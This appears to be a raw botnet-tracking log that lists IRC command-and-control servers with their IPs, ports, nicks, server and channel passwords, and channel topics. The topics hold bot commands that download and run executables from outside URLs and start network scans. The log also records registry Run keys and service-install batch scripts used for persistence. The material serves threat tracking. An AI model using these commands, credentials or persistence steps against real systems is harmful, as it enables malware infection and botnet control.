pig.botsgod.info

Botnet C&C irc
Found 3 addresses
addr: pig.botsgod.info ip: 217.70.188.30
addr: pig.botsgod.info ip: 92.243.28.194
addr: pig.botsgod.info ip: 95.142.163.184

pig.botsgod.info:5900
User Name: VirUs
Real Name: Iam_PIG_And_Iam_A_GAY0003
Password: isPigaGAY
Nick Name: [USA][XP-SP3]371106
Channel:##ENC##
Password:Pig_IS_STUPID

Topic is '!NL FRRN%^^UUU]QGRCN?J?AC]A3K^NPCEW^BAVN`]HNCE QQBQBC]CVC | !NL FRRN%^^QCPTCP\B?R?]2CR^G2QR?JJ]}#"~~]CVC ?QBQB]CVC | !NL FRRN%^^NP3K3SN]G2D3^QCRSN"`~]CVC QBQBBB]CVC | !NL FRRN%^^Q3DRU?PCU3PI]2CR^G2QR?JJ]}#"~~]CVC ufuf]gzg'
* Set by xXx on Wed Nov 03 17:52:13

Creates value "Microsoft UneXpected"="C:\TEMP\mtfsys32.exe" in key "
HKLM\Software\Microsoft\Windows\CurrentVersion\Run".
Creates a mutex PigGotFucKedManyTimesAndAlreadyProvedHimGay.
Creates process "mtfsys32.exe".

malware url
http://www.sitepalace.com/pregy/ENCS1p1.jpeg

gangbang.mytijn.org ( ssh2 )

gangbang.mytijn.org DNS_TYPE_A 98.156.90.172 85.92.87.233
98.156.90.172:43000
Botnet C&C irc
Nick: |KOR|XP|00|803303|
Username: SP3-443
Server Pass: scary
Joined Channel: #!ssh with Password ERROR
Channel Topic for Channel #!ssh: ".aSc ssh 40 8 0 85.x.x.x -b -r -s |.aSc ssh 40 8 0 85.x.x.x -b -r -s |.aSc ssh 40 8 0 86.x.x.x -b -r -s"

Startup
Services Created:
Name Type Path
Windows System Updates SERVICE_AUTO_START "C:\Documents and Settings\Administrator\Application Data\exxploiter.exe"

irc.metraiciono.com

irc.metraiciono.com DNS_TYPE_A 95.211.84.164

95.211.84.164:6567
Botnet C&C irc
Nick: [SI|AUT|00|P|04244]
Username: XP-5923
Server Pass: pr1v4d0onl1n3r
Joined Channel: #canal1# with Password c1rc0s0leil
Channel Topic for Channel #canal1#: ".desfi http://174.121.2.222/~toxicok/wp-content/languages/home.exe c:\WINDOWS\home.exe 1"
Private Message to Channel #canal1#: "[Dl]: File download: 128.0KB to: c:\WINDOWS\home.exe @ 64.0KB/sec."
Private Message to Channel #canal1#: "[Dl]: Created process: "c:\WINDOWS\home.exe", PID: <448>"

Startup
HKLM\​SOFTWARE\​Microsoft\​Windows NT\​CurrentVersion\​Terminal Server\​Install\​Software\​Microsoft\​Windows\​CurrentVersion\​Run\​
info Ci Servs Sontiwin.exe
HKLM\​SOFTWARE\​Microsoft\ ​Windows\​CurrentVersion\​Run\​
info Ci Servs Sontiwin.exe

l33t.shadow-mods.net ( RadXScan )

l33t.shadow-mods.net:6667
91.121.78.121:6667

Botnet C&C irc
channel:##konvit-rad##
key:f00kU


Startup
rem ### SERVICE CONFIG FILE ###
SET CONFIG=Service.dll
IF EXIST %CONFIG% EXIT
ECHO>%CONFIG% [Settings]
ECHO>>%CONFIG% ServiceName=svcfost
ECHO>>%CONFIG% CheckProcessSeconds=60
ECHO.>>%CONFIG%
ECHO>>%CONFIG% [Process0]
ECHO>>%CONFIG% CommandLine=svchost.exe
ECHO>>%CONFIG% WorkingDir=%CD%\
ECHO>>%CONFIG% PauseStart=1000
ECHO>>%CONFIG% PauseEnd=1000
ECHO>>%CONFIG% UserInterface=No
ECHO>>%CONFIG% Restart=Yes

service -i
net start svcfost

irc.bigshitsandwich.org ( RadXScan )

irc.bigshitsandwich.org:6667
83.170.84.20:6667

Botnet C&C irc
Channel:#mp3-ops
key:fuckU
* Topic is '.scan 77'
* Set by doom on Sat Jul 03 07:58:54

[Scan] [Complete] [Range: 77.244.0.0-77.244.255.255] [DigiX]
[ReScan] [Initiated] [DigiX]
[Scan] [Range: 77.106.0.0-77.106.255.255] [DigiX]
[Found Radmin] [Info: 77.126.12.173/No Pass] [DigiX]

startup
rem ### SERVICE CONFIG FILE ###
SET CONFIG=Service.dll
IF EXIST %CONFIG% EXIT
ECHO>%CONFIG% [Settings]
ECHO>>%CONFIG% ServiceName=svcfost
ECHO>>%CONFIG% CheckProcessSeconds=60
ECHO.>>%CONFIG%
ECHO>>%CONFIG% [Process0]
ECHO>>%CONFIG% CommandLine=Radx.exe
ECHO>>%CONFIG% WorkingDir=%CD%\
ECHO>>%CONFIG% PauseStart=1000
ECHO>>%CONFIG% PauseEnd=1000
ECHO>>%CONFIG% UserInterface=No
ECHO>>%CONFIG% Restart=Yes

service -i
net start svcfost

gangbang.mytijn.org

gangbang.mytijn.org
DNS_TYPE_A
85.92.87.233
98.156.90.172


85.92.87.233:25343

Botnet C&C irc
Nick: :|XP|00|AUT|79994
Username: PotHead
Server Pass: scary
Joined Channel: #Main# with Password ERROR
Channel Topic for Channel #Main#: ".scan RUS 35 3 0 -b -s"

Startup
HKLM\​SOFTWARE\​Microsoft\​Windows\​ CurrentVersion\​Run\​
info cRSCS crscs.exe

ulove.tigolbittys.info

Domains and Sub Domains
ilove.tigolbittys.info
ulove.tigolbittys.info
free.tinypicbox.com
one.tinypicbox.com

ulove.tigolbittys.info DNS_TYPE_A
178.32.55.3
83.15.10.202
91.121.78.121
178.32.48.79
178.32.49.4

Botnet C&C irc

83.15.10.202:7171

psyBNC2.3.2-7
Connected. Now logging in...
User Anonymous logged in.
-
Your IRC Client did not support a password. Please type /QUOTE PASS your password to connect.

Nick: [00|AUT|148343]
Username: XP-9617
Server Pass: fuck3d

Channel: #links#
Channel: #hp#

Topic is '^run.stop -s|^run http://dessertsrecipes.net/katrian/shell/r.exe c:\45jknl.exe 1|^asc -S -s|^http http://dessertsrecipes.net/katrian/shell/h.exe|^asc svrsvc_all 30 3 0 -e -b -s'
Set by ajlk on Wed Jun 30 05:55:57

Startup
HKLM\​SOFTWARE\​Microsoft\​Windows\​ CurrentVersion\​Run\​
info Windows Notify Service wntfy.exe